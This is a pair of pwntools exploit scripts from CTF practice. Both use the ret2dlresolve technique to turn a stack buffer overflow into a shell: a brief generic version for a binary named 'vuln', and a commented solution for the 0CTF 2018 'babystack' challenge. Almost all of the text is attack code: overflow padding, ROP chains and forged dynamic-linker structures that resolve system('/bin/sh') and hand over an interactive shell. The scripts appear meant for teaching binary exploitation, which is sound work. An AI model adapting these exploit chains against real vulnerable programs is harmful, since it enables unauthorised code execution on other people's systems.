from pwn import *
elf = context.binary = ELF('./vuln', checksec=False)
p = elf.process()
rop = ROP(elf)
# create the dlresolve object
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])
rop.raw('A' * 76)
rop.read(0, dlresolve.data_addr) # read to where we want to write the fake structures
rop.ret2dlresolve(dlresolve) # call .plt and dl-resolve() with the correct, calculated reloc_offset
log.info(rop.dump())
p.sendline(rop.chain())
p.sendline(dlresolve.payload) # now the read is called and we pass all the relevant structures in
p.interactive()
原始
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html
# This exploit is based off of: https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystack
from pwn import *
target = process('./babystack')
#gdb.attach(target)
elf = ELF('babystack')
# Establish starts of various sections
bss = 0x804a020
dynstr = 0x804822c
dynsym = 0x80481cc
relplt = 0x80482b0
# Establish two functions
scanInput = p32(0x804843b)
resolve = p32(0x80482f0) #dlresolve address
# Establish size of second payload
payload1_size = 43
# Our first scan
# This will call read to scan in our fake entries into the plt
# Then return back to scanInput to re-exploit the bug
payload0 = ""
payload0 += "0"*44 # Filler from start of input to return address
payload0 += p32(elf.symbols['read']) # Return read
payload0 += scanInput # After the read call, return to scan input
payload0 += p32(0) # Read via stdin
payload0 += p32(bss) # Scan into the start of the bss
payload0 += p32(payload1_size) # How much data to scan in
target.send(payload0)
# Our second scan
# This will be scanned into the start of the bss
# It will contain the fake entries for our ret_2_dl_resolve attack
# Calculate the r_info value
# It will provide an index to our dynsym entry
dynsym_offset = ((bss + 0xc) - dynsym) / 0x10
r_info = (dynsym_offset << 8) | 0x7
# Calculate the offset from the start of dynstr section to our dynstr entry
dynstr_index = (bss + 28) - dynstr
paylaod1 = ""
# Our .rel.plt entry
paylaod1 += p32(elf.got['alarm'])
paylaod1 += p32(r_info)
# Empty
paylaod1 += p32(0x0)
# Our dynsm entry
paylaod1 += p32(dynstr_index)
paylaod1 += p32(0xde)*3
# Our dynstr entry
paylaod1 += "system\x00"
# Store "/bin/sh" here so we can have a pointer ot it
paylaod1 += "/bin/sh\x00"
target.send(paylaod1)
# Our third scan, which will execute the ret_2_dl_resolve
# This will just call 0x80482f0, which is responsible for calling the functions for resolving
# We will pass it the `.rel.plt` index for our fake entry
# As well as the arguments for system
# Calculate address of "/bin/sh"
binsh_bss_address = bss + 35
# Calculate the .rel.plt offset
ret_plt_offset = bss - relplt
paylaod2 = ""
paylaod2 += "0"*44
paylaod2 += resolve # 0x80482f0
paylaod2 += p32(ret_plt_offset) # .rel.plt offset
paylaod2 += p32(0xdeadbeef) # The next return address after 0x80482f0, really doesn't matter for us
paylaod2 += p32(binsh_bss_address) # Our argument, address of "/bin/sh"
target.send(paylaod2)
# Enjoy the shell!
target.interactive()